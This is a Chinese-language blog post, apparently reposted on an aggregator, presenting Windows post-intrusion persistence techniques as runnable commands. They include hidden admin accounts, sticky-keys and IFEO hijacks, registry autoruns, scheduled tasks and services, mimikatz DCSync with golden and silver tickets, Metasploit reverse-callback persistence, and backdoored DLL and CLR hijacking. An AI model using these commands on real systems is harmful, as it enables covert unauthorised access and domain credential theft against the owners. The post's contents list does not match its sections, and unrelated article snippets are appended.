内网渗透-windows权限维持的方法

2024-04-14 18:20

本文主要是介绍内网渗透-windows权限维持的方法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

windows权限维持的方法

文章目录
  • windows权限维持的方法
  • 一、影子账户
  • 二、粘滞键后门
  • 三、logon scripts后门
  • 五、注册表自启动后门
  • 六、屏幕保护程序后门
  • 七、计划任务后门
  • 八、服务自启动后门
  • 九、黄金票据
  • 十、白银票据
  • 十二、bitsadmin
  • 十五、CLR劫持

一、影子账户

1.使用如下命令创建隐藏用户并加入管理员组

net user test$ 123456 /add
net localgroup administrators test$ /add

创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。
在这里插入图片描述
2
.2.打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM)

修改SAM权限,赋予adminitrators完全控制权限。

在这里插入图片描述

3.将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值。在这里插入图片描述

4.将test$和所对应项000003F1导出,分别命名为test.reg和1.reg
在这里插入图片描述
在这里插入图片描述

5.删除test$用户,将test.reg和1.reg导入注册表

net user test$ /del

regedit /s test.reg

regedit /s 1.reg
在这里插入图片描述
在这里插入图片描述
6.此时在用户组已经看不到test$用户,只能在注册表中能看到。
在这里插入图片描述

二、粘滞键后门

粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要功能是方便Shift等键的组合使用。一般的电脑连按五次shift会出现粘滞键提示。

演示:
粘滞键位置:c:\windows\system32\sethc.exe

命令:
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe

此时连按五次shift键即可启动cmd,而且不需要登录就可以执行。在这里插入图片描述
在这里插入图片描述

三、logon scripts后门

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

演示:
注册表位置:HKEY_CURRENT_USER\Environment

REG ADD “HKEY_CURRENT_USER\Environment” /v UserInitMprLogonScript /t REG_SZ /d “C:\666.exe” #创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径

在这里插入图片描述
重启,上线成功。在这里插入图片描述
四、映像劫持
“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于IFEO的控制中时,它的内存分配则根据该程序的参数来设定,而WindowsN T架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就运行出问题。

演示:
注册表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe

在这里插入图片描述
此时点击五次shift键会打开cmd。
在这里插入图片描述

五、注册表自启动后门

位置一:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

添加键test,值为后门程序路径。

REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v test1 /t REG_SZ /d “C:\666.exe”

在这里插入图片描述
重新启动会自动运行后门程序。在这里插入图片描述
位置二:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

修改键Userinit的值,重启就会自动运行程序。在这里插入图片描述
在这里插入图片描述

六、屏幕保护程序后门

屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。

演示:
注册表位置:HKEY_CURRENT_USER\Control Panel\Desktop

SCRNSAVE.EXE为默认的屏保程序,我们可将此键值设置为我们要利用的恶意程序。在本质上,.scr文件是可执行文件。
ScreenSaveActive表示屏保状态,1为启动,0为关闭。
ScreenSaverTimeout表示屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)。
ScreenSaverIsSecure默认参数为0,标识不需要密码即可解锁。

在这里插入图片描述
修改SCRASAVE.EXE的值为后门程序路径,等待屏保时间自动运行。

reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v SCRNSAVE.EXE /t REG_SZ /d “c:\666.exe” /f

在这里插入图片描述
在这里插入图片描述

七、计划任务后门

schtasks命令设定计划自动启动后门程序。

schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5 #每5分钟自动执行666.exe

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

八、服务自启动后门

自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务。

演示:

sc create test binpath= c:\666.exe (注意等号后面有空格)#创建服务
sc config test start= auto #设置服务为自动启动
net start test #启动服务
在这里插入图片描述
在这里插入图片描述

九、黄金票据

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

演示:

利用条件:
1.域sid
2.域名称
3.krbtgt ntlm hash或aes256值

未注入票据访问域控被拒绝。在这里插入图片描述
查看krbtgt ntlm hash:

lsadump::dcsync /domain:<域名> /user:krbtgt在这里插入图片描述
清空票据信息:
kerberos::purge

在这里插入图片描述

生成票据:
kerberos::golden /admin:<用户名> /domain:<域名> /sid:<域SID> /krbtgt: /ticket:<票据名>

在这里插入图片描述
导入票据:

kerberos::ptt Administrator.kiribi

在这里插入图片描述
在这里插入图片描述
票据注入成功。
在这里插入图片描述

十、白银票据

黄金票据伪造的TGT,那么白银票据伪造的是ST。在Kerberos认证的第三步,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,伪造的门票只对部分服务起作用。

白银票据常用服务:
在这里插入图片描述
Service Type

Service Silver Tickets

WMI

HOST RPCSS

PowerShell Remoting

HOST HTTP

WinRM

HOST HTTP

Scheduled Tasks

HOST

Windows File Share (CIFS)

CIFS

LDAP operations includingMimikatz DCSync

LDAP

Windows Remote Server Administration Tools

RPCSS LDAP CIFS

利用条件:
1.目标服务器全域名
2.域sid
3.可利用的服务
4.服务账号的ntlm hash

演示-伪造CIFS权限:
CIFS用于主机之间文件共享。

生成票据:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<用户名> /ptt

在这里插入图片描述
此时就可以访问目标机器的共享目录了。
在这里插入图片描述
十一、组策略设置脚本启动
1.首先创建一个脚本,此处为添加隐藏用户,内容如下:

@echo off
net user test$ Test123456. /add
net localgroup administrators test$ /add
exit

2.打开组策略配置脚本(启动/关机),添加脚本,关机就会自动执行脚本。在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

十二、bitsadmin

BITS (后台智能传送服务) 是一个 Windows 组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

常用命令:
bitsadmin /create [type] DisplayName //创建一个任务
bitsadmin /cancel //删除一个任务
bitsadmin /list /allusers /verbose //列出所有任务
bitsadmin /AddFile //给任务test添加一个下载文件
bitsadmin /SetNotifyCmdLine [ProgramParameters] //设置在任务完成传输时或任务进入状态时将运行的命令行命令。
bitsadmin /Resume //激活传输队列中的新任务或挂起的任务。
bitsadmin /cancel //删除某个任务
bitsadmin /reset /allusers //删除所有任务
bitsadmin /complete //完成某个任务

演示:

bitsadmin /create test //创建任务test
bitsadmin /addfile test c:\windows\system32\calc.exe c:\Users\ndsec\Desktop\calc.exe
bitsadmin /SetNotifyCmdLine test cmd.exe “cmd.exe /c calc.exe”
bitsadmin /resume test

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
十三、msf persistence后门
使用persistence模块创建后门。

参数:
-A 自动启动匹配的exploit/multi/handler 连接到代理
-L 目标主机中要写入有效负载的位置,如果没有,将使用 %TEMP%。
-P 要使用的有效负载,默认为 windows/meterpreter/reverse_tcp。
-S 在启动时自动启动代理作为服务(具有 SYSTEM 权限)
-T 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统启动时自动启动代理
-h 帮助菜单
-i 每次连接尝试之间的时间间隔(以秒为单位)
-p 运行 Metasploit 的系统正在监听的端口
-r 运行 Metasploit 的系统的 IP 监听连接

执行如下命令,在目标机创建一个vbs后门,每5秒进行回连:

run persistence -S -U -X -i 5 -p 55555 -r 192.168.1.128

在这里插入图片描述
在这里插入图片描述
监听55555端口,成功上线。
在这里插入图片描述
十四、DLL劫持
DLL(Dynamic Link Library)文件为动态链接库文件,又称”应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。

dll加载顺序:

Windows xp sp2之前:
1.进程对应的应用程序所在目录;
2.当前目录(Current Directory);
3.系统目录(通过 GetSystemDirectory 获取);
4.16位系统目录;
5.Windows目录(通过 GetWindowsDirectory 获取);
6.PATH环境变量中的各个目录;

Windows xp sp2之后:
Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1
1.进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent)
2.系统目录(即%windir%system32);
3.16位系统目录(即%windir%system);
4.Windows目录(即%windir%);
5.当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test);
6.PATH环境变量中的各个目录;
win7以上版本:
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从exe自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

演示-劫持极速pdf阅读器:
1.使用process explorer分析可以劫持的dll文件,劫持sqlite3.dll
在这里插入图片描述
在这里插入图片描述
2.使用ahaeadlib将sqlite3.dll转为cpp文件
在这里插入图片描述
3.使用visual studio打开cpp文件插入要执行的后门代码,并生成新的dll文件

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT(“C:\666.exe”), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

在这里插入图片描述
4.将新的dll文件改名为sqlite3.dll,将旧的sqlite3.dll改为sqlite3Org.dll在这里插入图片描述
5.打开极速pdf阅读器后成功上线在这里插入图片描述
在这里插入图片描述

十五、CLR劫持

CLR全称Common Language Runtime,中文名称为公共语言运行时。CLR是.NETFramework的主要执行引擎,作用之一是监视程序的运行。可以理解成,让系统在执行.NET程序的时候先执行一个你指定的dll文件。

1.修改注册表:HKEY_CURRENT_USER\Software\Classes\CLSID\

REG ADD “HKEY_CURRENT_USER\Software\Classes\CLSID{11111111-1234-1234-1234-111111111111}\InProcServer32” /VE /T REG_SZ /D “C:\test.dll” /F

REG ADD “HKEY_CURRENT_USER\Software\Classes\CLSID{11111111-1234-1234-1234-111111111111}\InProcServer32” /V ThreadingModel /T REG_SZ /D Apartment /F

在这里插入图片描述
2.配置全局环境变量,不然只在当前cmd窗口劫持.net程序,然后直接执行powershell即可上线。

SETX COR_ENABLE_PROFILING 1 /M
SETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M

在这里插入图片描述
在这里插入图片描述
图片参考链接:
1.https://www.jianshu.com/p/4936da524040
2.https://hackergu.com/power-clr-thief/
3.https://cloud.tencent.com/developer/article/1850726
4.https://xz.aliyun.com/t/6461
5.https://cloud.tencent.com/developer/article/178286

这篇关于内网渗透-windows权限维持的方法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/903665

相关文章

Java中的String.valueOf()和toString()方法区别小结

《Java中的String.valueOf()和toString()方法区别小结》字符串操作是开发者日常编程任务中不可或缺的一部分,转换为字符串是一种常见需求,其中最常见的就是String.value... 目录String.valueOf()方法方法定义方法实现使用示例使用场景toString()方法方法

Java中List的contains()方法的使用小结

《Java中List的contains()方法的使用小结》List的contains()方法用于检查列表中是否包含指定的元素,借助equals()方法进行判断,下面就来介绍Java中List的c... 目录详细展开1. 方法签名2. 工作原理3. 使用示例4. 注意事项总结结论:List 的 contain

macOS无效Launchpad图标轻松删除的4 种实用方法

《macOS无效Launchpad图标轻松删除的4种实用方法》mac中不在appstore上下载的应用经常在删除后它的图标还残留在launchpad中,并且长按图标也不会出现删除符号,下面解决这个问... 在 MACOS 上,Launchpad(也就是「启动台」)是一个便捷的 App 启动工具。但有时候,应

SpringBoot日志配置SLF4J和Logback的方法实现

《SpringBoot日志配置SLF4J和Logback的方法实现》日志记录是不可或缺的一部分,本文主要介绍了SpringBoot日志配置SLF4J和Logback的方法实现,文中通过示例代码介绍的非... 目录一、前言二、案例一:初识日志三、案例二:使用Lombok输出日志四、案例三:配置Logback一

Python实现无痛修改第三方库源码的方法详解

《Python实现无痛修改第三方库源码的方法详解》很多时候,我们下载的第三方库是不会有需求不满足的情况,但也有极少的情况,第三方库没有兼顾到需求,本文将介绍几个修改源码的操作,大家可以根据需求进行选择... 目录需求不符合模拟示例 1. 修改源文件2. 继承修改3. 猴子补丁4. 追踪局部变量需求不符合很

mysql出现ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061)的解决方法

《mysql出现ERROR2003(HY000):Can‘tconnecttoMySQLserveron‘localhost‘(10061)的解决方法》本文主要介绍了mysql出现... 目录前言:第一步:第二步:第三步:总结:前言:当你想通过命令窗口想打开mysql时候发现提http://www.cpp

Mysql删除几亿条数据表中的部分数据的方法实现

《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定... 目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

CentOS 7部署主域名服务器 DNS的方法

《CentOS7部署主域名服务器DNS的方法》文章详细介绍了在CentOS7上部署主域名服务器DNS的步骤,包括安装BIND服务、配置DNS服务、添加域名区域、创建区域文件、配置反向解析、检查配置... 目录1. 安装 BIND 服务和工具2.  配置 BIND 服务3 . 添加你的域名区域配置4.创建区域

mss32.dll文件丢失怎么办? 电脑提示mss32.dll丢失的多种修复方法

《mss32.dll文件丢失怎么办?电脑提示mss32.dll丢失的多种修复方法》最近,很多电脑用户可能遇到了mss32.dll文件丢失的问题,导致一些应用程序无法正常启动,那么,如何修复这个问题呢... 在电脑常年累月的使用过程中,偶尔会遇到一些问题令人头疼。像是某个程序尝试运行时,系统突然弹出一个错误提